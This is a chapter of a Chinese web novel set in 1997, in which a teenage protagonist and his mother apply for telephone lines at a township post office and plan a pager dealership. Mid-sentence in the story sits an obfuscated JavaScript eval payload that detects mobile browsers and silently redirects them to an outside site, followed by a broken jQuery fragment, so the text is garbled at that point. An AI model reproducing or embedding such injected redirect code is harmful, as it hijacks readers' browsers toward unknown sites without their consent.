市里餐馆饭桌那头，姜映月顺势搭好台阶，叶舟后背冒出一层薄汗。他指尖摩挲着陶瓷茶杯，抿了一口茶水，脑子飞快梳理措辞。该怎样把酒厂改制、地方民营盘活这件事包装妥当，让丁小伟当作能写进档案、能往上呈报的亮眼政绩，他逐字斟酌。
这边饭局博弈正酣，安溪镇自家小院，母子俩正盘算一桩长远生意，分量丝毫不亚于叶舟那个一百万销售的军令目标。
晚饭碗筷刚收拾大半，叶子安放下手里的竹筷，看着宁蕙心叠起盘子往厨房走，随口开口：“妈，跟您商量一件事。”
宁蕙心手上不停，脑袋微微垂着，忙着归置碗碟：“啥事啊，你直说。”
“家里装一部座机，几家超市也顺带装上。”
宁蕙心手上动作猛地顿住，转过身靠在厨房门框上，眉头轻轻皱起：“装电话花销不小，我听街坊闲聊，单单初装费就要一千多。咱们一共五家分店，全部装下来五六千块。酒厂刚步入正轨，家里虽说攒了些积蓄，可也不能大手大脚这么往外砸。”
叶子安身子靠着桌边，语气慢悠悠的，一点不急：“妈，公私得分开。装电话是门店经营开支，不能动家里私钱。您回头跟舅舅、二姨他们挨个沟通，每家门店从各自日常营收里分摊安装费用。公用电话带来的收益，统一归入超市总账，大伙按出资比例分红。谁出钱谁获益，互不占便宜，也不让亲戚吃亏。”
宁蕙心闻言怔住，认真打量自家孩子。年纪看着不大，算账处事比她和叶舟想得周全。做生意长久立足，就是账目清晰，人情归人情，钱财分明白。这话一下子点透了她。她随手擦干净手上的水渍：“道理听着实在靠谱。明天一早我们骑二八大杠去镇上邮电局，问问申请公用电话的整套手续。”
第二日大清早。宁蕙心推出老式二八大杠，跨上座位，叶子安坐在后座。一路顺着乡间土路，慢悠悠去往镇上。
一九九七年春日，乡镇邮电局就是一栋老旧两层灰砖小楼。门口老招牌“邮电局”字迹斑驳。系统内部刚推进邮电分营，邮政负责包裹、汇款、邮票业务；电信分管座机、寻呼机。落到乡镇基层，依旧一套工作人员，挂两块牌子，分工只是内部口头划分。
营业厅客人不算拥挤。左侧邮政窗口，几位居民排队邮寄包裹、领取汇款。右侧电信柜台坐着一位中年女工作人员，身前摆着一台黑色老式座机，贴着手写纸牌：电话安装咨询。
宁蕙心快步走上前，隔着玻璃柜台开口问话：“同志，我想问下申请安装电话。家里装一部，几家超市申请公用代办电话。”
中年女人抬眼上下打量她，瞬间来了兴致：“私人办公用代办点现在政策放宽了，可以申请。先填一张申请表，登记姓名住址、用途。初装费一千六百一十三，费用包含配套座机一台。”说着从抽屉抽出一张纸质表格推出来。
宁蕙心低头逐项填写，家庭座机、几家门店公用电话一一标注清楚。后续舅舅几家分店，叶子安会写明白办理流程，叫他们各自上门填报。
叶子安没有凑过去填表，视线被营业厅靠墙的玻璃柜台吸引。柜内整齐摆放十几台黑色BP机，大小款式各不相同。柜面贴着白纸：寻呼机销售、入网登记。他缓步走过去，胳膊搭在柜台边缘细细打量。部分机型带数字小屏，少数是汉字显示屏，摩托罗拉、松下、NEC这些牌子他前世都接触过，一眼就认出来。
填表这边一时忙不完，柜台女工作人员踱步过来，见只是个半大少年，随口闲聊：“小朋友，家里大人打算买寻呼机？”
叶子安轻轻摇头：“阿姨，我单纯看看，这类机子零售价多少。”
女人指着柜面贴着的价签慢慢介绍：“摩托罗拉普通数字机，加上一年服务费四百多。汉显功能的贵，一千二上下。国产普通数字机便宜，两百出头就能办。”
“镇上生意人买的多吗？”叶子安继续追问。
对方淡淡一笑，没什么隐瞒：“小孩子打听这些干啥。镇上跑供销、做买卖的生意人基本人手一台，一个月少说卖十几二十台，销路挺稳。”
叶子安默默把月租、入网费、各个牌子售价全部记在心里。他顺着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647002|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
柜台挨个打量机型价格，在脑子里梳理一遍成本。
宁蕙心填完申请单，走到BP机柜台前琢磨片刻，掏钱买了一台摩托罗拉数字机。工作人员开好票据，递出入网登记表：“填写机主姓名、常住地址，选定本地寻呼台。”
叶子安拿起笔，工整写下叶舟的名字、家庭住址，勾选本地规模最大的126寻呼台。
母子二人走出邮电局，叶子安攥着小小的黑色寻呼机，坐在自行车后座一路思索。
刚进家门，他关上堂屋木门，拉着宁蕙心坐到木桌旁：“妈，今天在邮电局我有个想法，咱们拿下寻呼机区域代理。”
宁蕙心听得一愣，满脸不解：“你小小年纪，怎么成天琢磨做生意？”
叶子安条理清晰，逐条剖析利弊：“第一，眼下正是寻呼机普及的风口，全国上千万用户。镇上经商、跑业务的人人刚需，客源充足。第二，邮电局官方定价偏高，咱们做代理薄利多销，一台赚几十块差价，每月十几二十台，收入十分可观。第三，不只一次性卖机子，后续按月收取通信服务费，长久拿稳定分成，属于长期收益。”
宁蕙心半信半疑：“谈代理哪里找门路？人家凭什么信任我们？”
“直接去县里寻呼台市场部上门洽谈。我们手握五家连锁超市，现成门店，日常客流量充足，就是谈判最好的筹码。”叶子安早盘算妥当。
宁蕙心沉吟一阵，缓缓点头：“行，这件事我记着，抽空去县里碰碰运气。”
叶子安心里清楚，BP机红利只剩三四年。往后更大的风口已经近了，九八年小灵通就要铺开市场。单向收费，月租二十，通话每分钟两毛钱，对比老式手机花销低，又比固定电话出行方便，普及之后会掀起新一轮财富风口。只是眼下时机太早，说了旁人很难理解，只能循序渐进。先把寻呼机代理渠道敲定，等市场铺开，顺势承接小灵通业务。
他走出屋子站在院中，抬眼望向远处镇政府的钟楼。天色还没完全暗下去，暮色笼罩屋檐。不知道今天市里饭局，父亲能不能顺利谈妥广告合作。